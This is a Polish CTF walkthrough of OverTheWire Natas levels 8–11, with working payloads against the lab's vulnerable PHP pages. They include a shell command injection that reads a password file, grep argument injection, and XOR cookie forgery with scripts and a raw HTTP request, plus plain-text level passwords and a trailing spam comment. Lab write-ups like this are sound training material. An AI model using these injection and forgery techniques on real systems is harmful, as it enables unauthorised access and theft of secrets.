NATAS8:
Link do strony: http://natas8.natas.labs.overthewire.org/index.php
Login: natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Podglądamy kod strony,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head> <body> <h1>natas8</h1> <div id="content"> <? $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secret']) == $encodedSecret) { print "Access granted. The password for natas9 is <censored>"; } else { print "Wrong secret"; } } ?> <form method=post> Input secret: <input name=secret><br> <input type=submit name=submit> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Mamy zatem zakodowaną zmienną $encodedSecret = „3d3d516343746d4d6d6c315669563362”, która jest porównywana z zakodowanym hasłem przy pomocy funkcji bin2hex(strrev(base64_encode($secret))); Funkcje te są odwracalne można zatem odkodować zmienną $encodedSecret. Istnieje wiele stron w internecie, gdzie można odkodować te dane, natomiast ja napiszę kod w php aby odkodować te dane:
1 2 3 |
<?php echo(base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))); ?> |
Wynikiem jest ciąg oubWYf2kBq
Wpisany w pole input powoduje pokazanie hasła do kolejnego poziomu, Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
NATAS9:
Link do strony: http://natas9.natas.labs.overthewire.org/
Login: natas9 , password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Strona posiada pole do wyszukiwania, sprawdźmy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head> <body> <h1>natas9</h1> <div id="content"> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Zgodnie z zapisem w kodzie realizowana jest funkcja grep -i $key dictionary.txt, nie jest natomiast nigdzie oczyszczana wartość wpisywanego parametru, zatem sprawdźmy czy możemy tego nadużyć:
1; cat /etc/natas_webpass/natas9
Warto tutaj opisać co tak naprawdę zostało zrobione. System wykonał kolejno dwa polecenia: grep -i 1 dictionary.txt; cat /etc/natas_webpass/natas9
Warto jeszcze zaznaczyć, że ścieżka do hasła została wykorzystana na podstawie schematu z zadania nr 7
Hasło do poziomu 10 to ciąg nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
NATAS10:
Link do strony: http://natas10.natas.labs.overthewire.org/
Login: natas10, password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Sprawdzamy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head> <body> <h1>natas10</h1> <div id="content"> For security reasons, we now filter on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Zadanie jest podobne do poziomu 9, natomiast programista wykorzystuje funkcję preg_match(’/[;|&]/’,$key), która jest zabezpieczeniem przed sztuczką z poprzedniego poziomu.
Skoro nie można dodać kolejnego polecenia to należy wykorzystać już istniejące, zatem wykorzystajmy właściwość polecenia grep, które może przyjmować kilka parametrów w postaci kilku plików.
1 |
grep -i u /etc/natas_webpass/natas11 dictionary.txt |
Omówienie:
grep – polecenie linuksa do wyszukiwania danych w pliku,
-i – opcja odpowiedzialna za wyłączenie rozróżniania małych i dużych liter,
u /etc/natas_webpass/natas11 – to wartość do wpisania w pole tekstowe.
Hasło do poziomu 11 to U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
NATAS11:
Link do strony: http://natas11.natas.labs.overthewire.org/
Login: natas11, password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Sprawdźmy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head> <? $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); ?> <h1>natas11</h1> <div id="content"> <body style="background: <?=$data['bgcolor']?>;"> Cookies are protected with XOR encryption<br/><br/> <? if($data["showpassword"] == "yes") { print "The password for natas12 is <censored><br>"; } ?> <form> Background color: <input name=bgcolor value="<?=$data['bgcolor']?>"> <input type=submit value="Set color"> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
W kodzie strony zastosowane jest ciastko, które jest kodowane funkcją XOR. Jego jawna wartość wynosi: $defaultdata = array( „showpassword”=>”no”, „bgcolor”=>”#ffffff”); Zaszyfrowana wartość wynosi natomiast: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
Funkcja szyfrująca XOR posiada następujące właściwości:
daneJawne xor klucz = daneZaszyfrowane oraz daneZaszyfrowane xor daneJawne = klucz, należy zatem napisać kod, który obliczy klucz potrzebny do ponownego zaszyfrowania danych, które będą posiadały wartość „yes” na parametrze showpassword.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php $ciastko = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw="; function dekoduj_xor($zmienna) { $jawne = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff")); $text = $zmienna; $daneWyj = ''; for($i=0;$i<strlen($text);$i++) { $daneWyj .= $text[$i] ^ $jawne[$i % strlen($jawne)]; } return $daneWyj; } echo dekoduj_xor(base64_decode($ciastko)); ?> |
Wynikiem skryptu php, który wykonałem na stronie http://sandbox.onlinephpfunctions.com jest następujący ciąg znaków:
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
Klucz wynosi zatem qw8J i powtarza się przez cały ciąg. Pora teraz na skrypt, który zamieni nowe jawne ciastko na zaszyfrowany ciąg
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php $jawne = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); function kodujXor($zmienna) { $klucz = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq'; $text = $zmienna; $daneWyj = ''; for($i=0;$i<strlen($text);$i++) { $daneWyj .= $text[$i] ^ $klucz[$i % strlen($klucz)]; } return $daneWyj; } echo base64_encode(kodujXor(json_encode($jawne))); ?> |
Wynikiem skryptu jest nowe ciastko, które należy podmienić:
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
1 2 3 4 5 6 7 8 9 10 11 |
GET / HTTP/1.1 Host: natas11.natas.labs.overthewire.org Cache-Control: max-age=0 Authorization: Basic bmF0YXMxMTpVODJxNVRDTU1ROXh1Rm9JM2RZWDYxczdPWkQ5SktvSw== Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 OPR/65.0.3467.78 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: __cfduid=de6ff386a56a9de06641cefef89f2fa381571406785; __utmc=176859643; __utmz=176859643.1579185831.8.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utma=176859643.1299241154.1578689263.1579185831.1579279735.9; data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK Connection: close |
Wynikiem jest kod do 12 poziomu:
1 |
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 |
Howdy! Would you mind if I share your blog with my facebook group?
There’s a lot of folks that I think would really enjoy your content.
Please let me know. Many thanks